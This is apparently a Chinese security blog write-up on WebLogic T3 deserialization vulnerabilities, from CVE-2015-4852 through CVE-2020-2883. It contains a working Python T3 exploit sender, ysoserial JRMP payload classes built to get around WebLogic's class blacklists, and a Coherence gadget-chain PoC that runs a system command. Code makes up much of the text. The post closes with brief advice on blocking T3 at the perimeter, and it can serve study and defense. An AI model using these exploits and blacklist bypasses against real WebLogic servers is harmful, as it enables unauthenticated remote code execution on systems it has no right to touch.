weblogic T3 attack&cve
Weblogic T3 反序列化
环境搭建:https://github.com/QAX-A-Team/WeblogicEnvironment
其中libnsl库因为源的问题装不上的话,就在Dockerfile里注释掉RUN yum -y install libnsl
漏洞复现建议jdk7u21+weblogic1036
T3
T3协议时Weblogic RMI的通信协议。
关于RMI可以看我在先知社区的另一篇:https://xz.aliyun.com/t/11967
RMI的基础通信协议是JRMP,支持其他协议来优化传输,比如Weblogic T3
数据包组成
T3的数据包由【数据包长度】【T3协议头】【反序列化标志】【数据】
组成
其中T3协议头是固定的,T3协议中反序列包标志为fe 01 00 00
,ac ed 00 05
是反序列化标志,所以标志就是fe 0q 00 ac ed 00 05
直接搭配ysoserial就能打入序列化流
T3通信过程
wireshark抓个包:打poc时直接抓127.0.0.1就行
首先发一个握手请求:t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
Weblogic回应HELO:版本号.false
+确认请求
后面的数据包也就是我们的payload
CVE-2015-4812漏洞复现
poc:
from os import popen import struct # 负责大小端的转换 import subprocess from sys import stdout import socket import re import binascii def generatePayload(gadget,cmd): YSO_PATH = "ysoserial-for-woodpecker-0.5.3-all.jar" popen = subprocess.Popen(['java','-jar',YSO_PATH,'-g',gadget,'-a',cmd],stdout=subprocess.PIPE) return popen.stdout.read() def T3Exploit(ip,port,payload): sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((ip,port)) handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" sock.sendall(handshake.encode()) data = sock.recv(1024) compile = re.compile("HELO:(.*).0.false") match = compile.findall(data.decode()) if match: print("Weblogic: "+"".join(match)) else: print("Not Weblogic") return header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") payload = header + t3header +desflag+ payload payload = struct.pack(">I",len(payload)) + payload[4:] sock.send(payload) if __name__ == "__main__": ip = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" cmd = "raw_cmd:touch /tmp/success" payload = generatePayload(gadget,cmd) T3Exploit(ip,port,payload)
更改一下ysoserialpath运行之后会显示Weblogic版本,同时在docker的/tmp/下创建success
这里ysoserial用的https://github.com/woodpecker-framework/ysoserial-for-woodpecker
- poc分析:generatePayload函数先用CC1生成了序列化数据
- T3Exploit发送了一个
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
请求包,然后从相应包中匹配字符串HELO:
和0.false
中间的部分,也就是weblogic的版本号。 - 然后是
00000000
进行占位,该位置为数据包长度,设置完POC后再来改。定义了固定的t3header和反序列化标志头fe010000
。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>
大端模式打包,I
表示unsigned int。 - 测试运行:
漏洞分析
反序列化的入口在weblogic.rjvm.InboundMsgAbbrev#readObject()
ServerChannelInputStream()继承自ObjectInputStream,重写了resolveClass方法。
其中就毫无过滤的调用了lookup,经典的jndi
调试看一下我们打的什么类过去,在resolveClass打上断点,然后打一遍payload:
可以看到是AnnotationInvocationHandler类
CVE-2015-4852修复
在InboundMsgAbbrev#readObject()中加入了if判断,对类设了黑名单(不过可以绕)
if (className!=null && className.length()> 0 && ClassFilter.isBlackListed(className)) throw new InvaildClassException("Unauthorized deserialization attempt",descriptor.getName());
CVE-2016-0638
复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了
黑名单列表为:
+org.apache.commons.collections.functors, +com.sun.org.apache.xalan.internal.xsltc.trax, +javassist,+org.codehaus.groovy.runtime.ConvertedClosure, +org.codehaus.groovy.runtime.ConversionHandler, +org.codehaus.groovy.runtime.MethodClosure
作用于以下几个类:
weblogic.rjvm.InboundMsgAbbrev.class的子类ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class
打上了黑名单上的类,就基本上阻断了大部分反序列化链,所以只有舍弃这几个类的resolveClass了。
ObjectInputStream
在进行readObject时,会调用readObject,readExternal,readResolve。只封了两个子类readObject下的resolveClass,那可以换个子类嘛,又不是直接对父类readObject设了黑名单(不直接对ObjectInputStream打补丁我不是很认可doge)
虽然 AnnotationInvocationHandler 类不在类黑名单里面,但是一些Gadget所用到的类在黑名单里面,而在AnnotationInvocationHandler 类直接通过 InboundMsgAbbrev#readObject 进行反序列化的过程中会再次调用到 ServerChannelInputStream#resolveClass 方法来处理比如 org.apache.commons.collections.map.LazyMap 类,而这个类会被黑名单检测到 ,这样一来自然就被拦截了
我们需要找到一个类符合以下条件:
- readObject()中创建了自己的InputStream对象
- readObject()不能是黑名单类中的readObject()
- readObject()进行了反序列化
weblogic.jms.common.StreamMessageImpl#readExternal()
就符合上述条件,不在黑名单内。
源码分析
该函数里创建了InputStream,进行了反序列化。
利用方式
使var3为1,var4为恶意序列化数据,重写StreamMessageImpl#writeExternal方法。
CVE2016-3510
用到的MarshalledObject#readResolve方法:
恶意对象传到var2,也就是objBytes变量就行了
CVE-2018-2628
在InboundMsgAbbrev的子类ServerChannelInputStream重写了resolveProxtClass()
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if(intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces); }
如果是java.rmi.registry.Registry就抛出异常,否则执行父类的resolveProxyClass()
这里只限制了远程对象的java.rmi.registry.Registry接口,而且还是走代理才能进resolveProxy。
- 不走代理,把ysoserial的Proxy部分删掉
- 换一个远程对象接口,不用java.rmi.registry.Registry
具体实现看c0e3佬:https://www.cnblogs.com/nice0e3/p/14296052.html
我直接抄:
package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.util.Random; public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader()); PayloadRunner.run(JRMPClient1.class, args); } }
改接口ysoserial上自带了
CVE-2018-2893
补丁:
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
黑名单加了UnicastRef,不能建立RMI连接了,也就阻断了上面两种攻击方式。
可以学习0638的绕过方式(也是封装进StreamMessageImpl),把Gadget封装进StreamMessageImpl,不走InboundMsgAbbrev也就不会遇到黑名单
package ysoserial.payloads; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import weblogic.jms.common.StreamMessageImpl; import ysoserial.Serializer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> { public Object streamMessageImpl(byte[] object) { StreamMessageImpl streamMessage = new StreamMessageImpl(); streamMessage.setDataBuffer(object, object.length); return streamMessage; } public Object getObject (final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if (sep < 0) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID objID = new ObjID(new Random().nextInt()); TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); return streamMessageImpl(Serializer.serialize(object)); } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader()); PayloadRunner.run(JRMPClient3.class, args); } }
需要weblogic 部分jar的依赖
CVE-2018-3248
补丁添加了:
java.rmi.activation.* sun.rmi.server.* java.rmi.server.RemoteObjectInvocationHandler java.rmi.server.UnicastRemoteObject
封装StreamMessageImpl需要用到RemoteObjectInvocationHandler远程类。远程接口实现类还必须继承UnicastRemoteObject。另外一个RMI接口也被封掉了
进行绕过的类也就必须像RemoteObjectInvocationHandler和UnicastRemoteObject一样,继承RemoteObject。这里面随便选一个。。
CVE-2020-2555
主要源于coherence.jar存在能gadget的类。
漏洞的入口点为BadAttributeValueException.readObject()
- 调用链:
* gadget: * BadAttributeValueExpException.readObject() * com.tangosol.util.filter.LimitFilter.toString() * com.tangosol.util.extractor.ChainedExtractor.extract() * com.tangosol.util.extractor.ReflectionExtractor.extract() * Method.invoke() * ... * Runtime.getRuntime.exec()
漏洞分析
BadAttributeValueExpException反序列化会调用指定对象的toString()
为什么toString可以触发gadget?
跟着调用链先看到RefletionExtractor#extract(),通过传输oTarget对象,利用findMethod获取对象指定参数,使用invoke进行了方法调用
readExternal到readObject,并没有调用extract,需要找个中间商
在com.tangosol.util.extractor.ChainedExtractor#extract链式调用了参数对象的extract
ChainedExtractor本身也无法调用extract
com.tangosol.util.filter.LimitFilter#toString()
对extract()进行了调用
其中m_oAnchotTop可以用setter设置属性值
又回到刚开始,BadAttributeValueExpException反序列化会调用指定对象的toString()。就构成了链
poc:
public class CVE_2020_2555 { public static void main(String[] args) throws Exception { ReflectionExtractor[] reflectionExtractors = new ReflectionExtractor[]{ new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{"null", new Class[0]}), new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", "calc"}}) }; ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors); LimitFilter limitFilter = new LimitFilter(); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, chainedExtractor); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, limitFilter); try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("weblogic_2020_2551.ser")); os.writeObject(badAttributeValueExpException); os.close(); ObjectInputStream is = new ObjectInputStream(new FileInputStream("weblogic_2020_2551.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
结合T3打的话就把生成的weblogic_2020_2551.ser字节码拼到payload里
拓展
BadAttributeValueExpException在jdk7中没有toString,但是有compare(),而且ChainedExtractor是实现了Comparator接口的,什么原版CC2出现了
初始化一个正常的comparator,add后反射修改m_aExtractor
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); queue.add("1"); queue.add("1"); Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); m_aExtractor.set(chainedExtractor1, valueExtractors); Field f = queue.getClass().getDeclaredField("queue"); f.setAccessible(true); Object[] queueArray = (Object[]) f.get(queue); queueArray[0] = Runtime.class; queueArray[1] = "1";
CVE-2020-2883
CVE-2020-2555调用链:
* gadget: * BadAttributeValueExpException.readObject() * com.tangosol.util.filter.LimitFilter.toString() * com.tangosol.util.extractor.ChainedExtractor.extract() * com.tangosol.util.extractor.ReflectionExtractor.extract() * Method.invoke() * ... * Runtime.getRuntime.exec()
CVE-2020-2883在com.tangosol.util.filter.LimitFilter.toString() 处打上了补丁,不过依旧能用ExtractorComparator。
Gadget1:
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() com.tangosol.util.comparator.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() ....... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()
并且还有另外一个类:MultiExtractor
MultiExtractor#extract()如下,经典的链式调用extract()
aExtractor[i]来自this.getExtractors(),this指向AbstractCompositeExtractor类,所以修改该类的m_aExtractor指向ChainedExtractor实现调用
MultiExtractor使用的父类AbstractExtractor的compare()
Gadget2:
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() ....... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()
EXP不贴了,移步:https://xz.aliyun.com/t/8577
- 说点其他的,外网可以采用web代理和负载均衡对T3协议攻击进行防护。因为web代理只转发HTTP请求,不转发T3协议。负载均衡可以指定负载均衡协议类型,设置为接收HTTP请求不接受其他请求也能防护T3攻击。而且T3这种远程开发的协议就是应该开在内网,所以外网碰见能打的weblogic真是少之又少
具体的POC复制粘贴多次我不好意思,在各位大佬的ysoserial里都有
